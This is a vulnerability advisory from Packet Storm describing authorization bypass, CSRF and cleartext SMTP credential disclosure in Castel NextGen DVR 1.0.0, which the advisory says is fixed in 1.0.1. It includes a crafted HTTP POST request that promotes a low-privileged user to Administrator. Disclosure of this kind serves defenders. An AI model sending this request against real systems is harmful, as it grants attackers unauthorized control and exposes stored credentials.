exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Castel NextGen DVR 1.0.0 Bypass / CSRF / Disclosure

Castel NextGen DVR 1.0.0 Bypass / CSRF / Disclosure
Posted Jun 5, 2020
Authored by Aaron Bishop

Castel NextGen DVR version 1.0.0 suffers from authorization bypass, credential disclosure, and cross site request forgery vulnerabilities.

tags | exploit, vulnerability, bypass, info disclosure, csrf
advisories | CVE-2020-11679, CVE-2020-11680, CVE-2020-11681, CVE-2020-11682
SHA-256 | 479f4579b4b9aa4978606f0a9f84e9bbac7947654e1a57a9e42f9f18e0988c1b

Castel NextGen DVR 1.0.0 Bypass / CSRF / Disclosure

Change Mirror Download
All issues are associated with *Castel NextGen DVR v1.0.0 *and have been
resolved in v1.0.1*.*

-------------------------------
*CVE-2020-11679
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11679>*


*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass

*Description*
A low privileged user can call functionality reserved for an Administrator
which promotes a low privileged account to the Administrator role:

POST /Administration/Users/Edit/:ID HTTP/1.1
> Host: $RHOST
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
> Firefox/52.0
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Cookie: $REVIEWER_COOKIES
> DNT: 1
> Connection: close
> Upgrade-Insecure-Requests: 1
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 349


> UserId=:ID&Email=bypass%40test.com
> &FirstName=bypass&LastName=bypass&LDAPUser=false
>
> &Roles%5B0%5D.RoleId=1&Roles%5B0%5D.IsSelected=true&Roles%5B0%5D.IsSelected=false
>
> &Roles%5B1%5D.RoleId=3&Roles%5B1%5D.IsSelected=true&Roles%5B1%5D.IsSelected=false
>
> &Roles%5B2%5D.RoleId=5&Roles%5B2%5D.IsSelected=true&Roles%5B2%5D.IsSelected=false
> &Locked=false

-------------------------------
*CVE-2020-11680
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11680>*

*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass

*Description*
The application does not perform an authorization check before
functionality is performed. Low privileged users are prevented from
browsing to pages that perform Administrator functionality using GET,
however, functionality can be performed by directly crafting the associated
POST request. This can be exploited to modify user accounts, modify the
application, etc. Combined with the reported CSRF, CVE-2020-11682, any
user of the application can be used to grant Administrator access to a
malicious user.
-------------------------------
*CVE-2020-11681
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11681>*

*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass

*Description*
Credentials are returned in cleartext in the source of the SMTP page. If a
malicious user compromises an account. or exploits the CSRF to gain access
to the application, the associated SMTP server/account could also be
compromised.
-------------------------------
*CVE-2020-11682
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11682>*

*Original Disclosure*
https://www.securitymetrics.com/blog/where-did-request-come-from-cross-site-request-forgery-csrf

*Description*
The application does not properly prevent CSRF; the
__RequestVerificationToken, which is included with state changing requests,
is not verified by the application - requests are successful even when the
token is removed.

AARON BISHOP | Principal Penetration Tester CISSP, OSCP, OSWE [image:
SecurityMetrics]


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    0 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close